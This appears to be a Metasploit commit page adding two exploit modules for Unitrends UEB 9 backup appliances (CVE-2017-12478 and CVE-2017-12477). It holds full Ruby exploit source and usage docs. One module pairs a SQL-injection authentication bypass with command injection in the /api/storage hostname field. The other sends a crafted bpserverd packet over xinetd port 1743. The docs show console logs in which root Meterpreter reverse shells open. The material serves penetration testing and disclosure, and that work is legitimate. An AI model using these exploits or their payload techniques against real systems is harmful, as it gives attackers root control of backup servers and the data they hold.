Land #9043 two exploit modules for unitrends backup
commit
5a6da487ab
|
@ -0,0 +1,42 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Unitrends UEB 9 http api/storage remote root
|
||||
|
||||
This exploit leverages a sqli vulnerability for authentication bypass,
|
||||
together with command injection for subsequent root RCE.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. ```use exploit/linux/http/ueb9_api_storage ```
|
||||
2. ```set lhost [IP]```
|
||||
3. ```set rhost [IP]```
|
||||
4. ```exploit```
|
||||
5. A meterpreter session should have been opened successfully
|
||||
|
||||
## Scenarios
|
||||
|
||||
### UEB 9.1 on CentOS 6.5
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/ueb9_api_storage
|
||||
msf exploit(ueb9_api_storage) > set rhost 10.0.0.230
|
||||
rhost => 10.0.0.230
|
||||
msf exploit(ueb9_api_storage) > set lhost 10.0.0.141
|
||||
lhost => 10.0.0.141
|
||||
msf exploit(ueb9_api_storage) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.141:4444
|
||||
[*] 10.0.0.230:443 - pwn'ng ueb 9....
|
||||
[*] Command Stager progress - 19.83% done (164/827 bytes)
|
||||
[*] Command Stager progress - 39.30% done (325/827 bytes)
|
||||
[*] Command Stager progress - 57.44% done (475/827 bytes)
|
||||
[*] Command Stager progress - 75.45% done (624/827 bytes)
|
||||
[*] Command Stager progress - 93.35% done (772/827 bytes)
|
||||
[*] Command Stager progress - 110.88% done (917/827 bytes)
|
||||
[*] Sending stage (826872 bytes) to 10.0.0.230
|
||||
[*] Command Stager progress - 126.72% done (1048/827 bytes)
|
||||
[*] Meterpreter session 1 opened (10.0.0.141:4444 -> 10.0.0.230:33674) at 2017-10-06 11:07:47 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
```
|
|
@ -0,0 +1,72 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Unitrends UEB 9 bpserverd authentication bypass RCE
|
||||
|
||||
This exploit uses roughly the same process to gain root execution
|
||||
as does the apache user on the Unitrends appliance. The process is
|
||||
something like this:
|
||||
|
||||
1. Connect to xinetd process (it's usually running on port 1743)
|
||||
2. This process will send something like: `?A,Connect36092`
|
||||
3. Initiate a second connection to the port specified
|
||||
in the packet from xinetd (36092 in this example)
|
||||
4. send a specially crafted packet to xinetd, containing the
|
||||
command to be executed as root
|
||||
5. Receive command output from the connection to port 36092
|
||||
6. Close both connections
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. ```use exploit/linux/misc/ueb9_bpserverd ```
|
||||
2. ```set lhost [IP]```
|
||||
3. ```set rhost [IP]```
|
||||
4. ```exploit```
|
||||
5. A meterpreter session should have been opened successfully
|
||||
|
||||
## Scenarios
|
||||
|
||||
### UEB 9.1 on CentOS 6.5
|
||||
|
||||
```
|
||||
msf > use exploit/linux/misc/ueb9_bpserverd
|
||||
msf exploit(ueb9_bpserverd) > set rhost 10.0.0.230
|
||||
rhost => 10.0.0.230
|
||||
msf exploit(ueb9_bpserverd) > set lhost 10.0.0.141
|
||||
lhost => 10.0.0.141
|
||||
msf exploit(ueb9_bpserverd) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.141:4444
|
||||
[*] 10.0.0.230:1743 - 10.0.0.230:1743 - pwn'ng ueb 9....
|
||||
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
|
||||
[+] 10.0.0.230:1743 - bpd port recieved: 45425
|
||||
[*] 10.0.0.230:1743 - Connecting to 45425
|
||||
[+] 10.0.0.230:1743 - Connected!
|
||||
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
|
||||
[*] 10.0.0.230:1743 - Command Stager progress - 26.71% done (199/745 bytes)
|
||||
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
|
||||
[+] 10.0.0.230:1743 - bpd port recieved: 40889
|
||||
[*] 10.0.0.230:1743 - Connecting to 40889
|
||||
[+] 10.0.0.230:1743 - Connected!
|
||||
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
|
||||
[*] 10.0.0.230:1743 - Command Stager progress - 53.56% done (399/745 bytes)
|
||||
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
|
||||
[+] 10.0.0.230:1743 - bpd port recieved: 40016
|
||||
[*] 10.0.0.230:1743 - Connecting to 40016
|
||||
[+] 10.0.0.230:1743 - Connected!
|
||||
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
|
||||
[*] 10.0.0.230:1743 - Command Stager progress - 80.27% done (598/745 bytes)
|
||||
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
|
||||
[+] 10.0.0.230:1743 - bpd port recieved: 53649
|
||||
[*] 10.0.0.230:1743 - Connecting to 53649
|
||||
[+] 10.0.0.230:1743 - Connected!
|
||||
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
|
||||
[*] Sending stage (826872 bytes) to 10.0.0.230
|
||||
[*] Meterpreter session 1 opened (10.0.0.141:4444 -> 10.0.0.230:33715) at 2017-10-06 11:33:56 -0400
|
||||
[*] 10.0.0.230:1743 - Command Stager progress - 100.00% done (745/745 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter >
|
||||
|
||||
```
|
|
@ -0,0 +1,93 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Unitrends UEB 9 http api/storage remote root',
|
||||
'Description' => %q{
|
||||
It was discovered that the api/storage web interface in Unitrends Backup (UB)
|
||||
before 10.0.0 has an issue in which one of its input parameters was not validated.
|
||||
A remote attacker could use this flaw to bypass authentication and execute arbitrary
|
||||
commands with root privilege on the target system.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Cale Smith', # @0xC413
|
||||
'Benny Husted', # @BennyHusted
|
||||
'Jared Arave' # @iotennui
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86],
|
||||
'CmdStagerFlavor' => [ 'printf' ],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
|
||||
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
|
||||
['CVE', '2017-12478'],
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'UEB 9.*', { } ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
|
||||
'SSL' => true
|
||||
},
|
||||
'DisclosureDate' => 'Aug 8 2017',
|
||||
'DefaultTarget' => 0))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true])
|
||||
])
|
||||
deregister_options('SRVHOST', 'SRVPORT')
|
||||
end
|
||||
|
||||
#substitue some charactes
|
||||
def filter_bad_chars(cmd)
|
||||
cmd.gsub!("\\", "\\\\\\")
|
||||
cmd.gsub!("'", '\\"')
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
|
||||
session = Base64.strict_encode64(session) #b64 encode session token
|
||||
|
||||
#substitue the cmd into the hostname parameter
|
||||
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
|
||||
parms << filter_bad_chars(cmd)
|
||||
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
|
||||
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/api/storage',
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/json',
|
||||
'encode_params' => false,
|
||||
'data' => parms,
|
||||
'headers' =>
|
||||
{'AuthToken' => session}
|
||||
})
|
||||
|
||||
if res && res.code != 500
|
||||
fail_with(Failure::UnexpectedReply,'Unexpected response')
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - pwn'ng ueb 9....")
|
||||
execute_cmdstager(:linemax => 120)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,119 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Unitrends UEB bpserverd authentication bypass RCE',
|
||||
'Description' => %q{
|
||||
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
|
||||
has an issue in which its authentication can be bypassed. A remote attacker could use this
|
||||
issue to execute arbitrary commands with root privilege on the target system.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Jared Arave', # @iotennui
|
||||
'Cale Smith', # @0xC413
|
||||
'Benny Husted' # @BennyHusted
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86],
|
||||
'CmdStagerFlavor' => [ 'printf' ],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755'],
|
||||
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12477'],
|
||||
['CVE', '2017-12477'],
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'UEB 9.*', { } ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
|
||||
'SSL' => false
|
||||
},
|
||||
'DisclosureDate' => 'Aug 8 2017',
|
||||
'DefaultTarget' => 0))
|
||||
register_options([
|
||||
Opt::RPORT(1743)
|
||||
])
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
s1 = connect(global = false)
|
||||
buf1 = s1.get_once(-1).to_s
|
||||
#parse out the bpd port returned
|
||||
bpd_port = buf1[-8..-3].to_i
|
||||
|
||||
#check if it's a valid port number (1-65534)
|
||||
if bpd_port && bpd_port >= 1 && bpd_port <= 65535
|
||||
Exploit::CheckCode::Detected
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
|
||||
#append a comment, ignore everything after our cmd
|
||||
cmd = cmd + " #"
|
||||
|
||||
# build the attack buffer...
|
||||
command_len = cmd.length + 3
|
||||
packet_len = cmd.length + 23
|
||||
data = "\xa5\x52\x00\x2d"
|
||||
data << "\x00\x00\x00"
|
||||
data << packet_len
|
||||
data << "\x00\x00\x00"
|
||||
data << "\x01"
|
||||
data << "\x00\x00\x00"
|
||||
data << "\x4c"
|
||||
data << "\x00\x00\x00"
|
||||
data << command_len
|
||||
data << cmd
|
||||
data << "\x00\x00\x00"
|
||||
|
||||
begin
|
||||
print_status("Connecting to xinetd for bpd port...")
|
||||
s1 = connect(global = false)
|
||||
buf1 = s1.get_once(-1).to_s
|
||||
|
||||
#parse out the bpd port returned, we will connect back on this port to send our cmd
|
||||
bpd_port = buf1[-8..-3].to_i
|
||||
|
||||
print_good("bpd port recieved: #{bpd_port}")
|
||||
vprint_status("Connecting to #{bpd_port}")
|
||||
|
||||
s2 = connect(global = false, opts = {'RPORT'=>bpd_port})
|
||||
vprint_good('Connected!')
|
||||
|
||||
print_status('Sending command buffer to xinetd')
|
||||
|
||||
s1.put(data)
|
||||
s2.get_once(-1,1).to_s
|
||||
|
||||
disconnect(s1)
|
||||
disconnect(s2)
|
||||
|
||||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
fail_with(Failure::Unreachable, "#{peer} - Connection to server failed")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - pwn'ng ueb 9....")
|
||||
execute_cmdstager(:linemax => 200)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue